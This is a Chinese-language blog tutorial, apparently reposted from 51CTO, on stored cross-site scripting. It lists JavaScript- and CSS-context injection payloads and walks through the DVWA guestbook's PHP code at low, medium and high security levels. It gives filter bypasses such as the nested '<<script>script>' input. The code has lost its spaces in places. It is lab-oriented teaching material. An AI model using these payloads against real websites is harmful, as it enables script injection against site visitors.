存储型XSS
XSS攻击的用处
JS-Context存储型XSS:
1、</script>闭合当前脚本,然后输入自定义内容。
过滤<,>,/
替换</script>为</’+’script>(网易邮箱)
2、根据JS上下文,构造正确的闭合。
根据实际情况,进行过滤。通常输出是字符串,在’和"之间,过滤’,"即可
和<script>中的XSS一样,过滤’和"
而实际上,在HTML的属性里,&#NNN;或&#xNN;也是可以被执行的!
进一步构造利用代码
还需要将&过滤为&
CSS-Context存储型XSS
除了<style>….</style>中可以被写入CSS数据之外,还有其它位置也可以:
1.
<divstyle="width:if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex\pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex/**/pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:expression(if(!window.x){alert(1);window.x=1})"></div>
2.
<linkrel=stylesheethref=data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7d/>
3.
<style>@import"data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7D";</style>
4.
<divstyle="font-family:foo}x=if(!window.x){alert(1);window.x=1});">XXX</div>
5.
http://zone.wooyun.org/content/465(邮箱XSS的最爱)
下面我们在看一下在DVWA里面存储型的XSS漏洞的各种级别和代码的应用
在dvwa里存储型的xss的使用实在留言板里面实现,只需要在留言板输入利用的代码就可以
low级代码
01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12
13//Sanitizenameinput
14$name=mysql_real_escape_string($name);
15
16$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
17
18$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
19
20}
21
22?>
我们输入
<script>alert('xss')</script>
另外有一点挺有意思,在输入name时会发现有字数的限制,但php中并没有判断name的长度
所以修改客户端html就可以删除这个限制,看代码
medium级代码
01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=trim(strip_tags(addslashes($message)));
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=str_replace('<script>','',$name);
16$name=mysql_real_escape_string($name);
17
18$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
19
20$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
21
22}
23
24?>
这里可以看到$name的过滤比较简单,那么就从他下手,用到了str_replace()函数,这个很好绕过吧
<<script>script>alert('123');</script>
不要说有长度限制,只要修改一下客户端html在提交就可以了
high级代码
01
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=stripslashes($name);
16$name=mysql_real_escape_string($name);
17$name=htmlspecialchars($name);
18
19$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
20
21$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
22
23}
24
25?>
对于high级的代码,我们看到它同样使用了htmlspecialchars()函数,大家可以找方法绕过去!
文章中有许多的不足之处,XSS也无法一一都详细说明,有自己观点可以给我提出,谢谢!
本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1306079,如需转载请自行联系原作者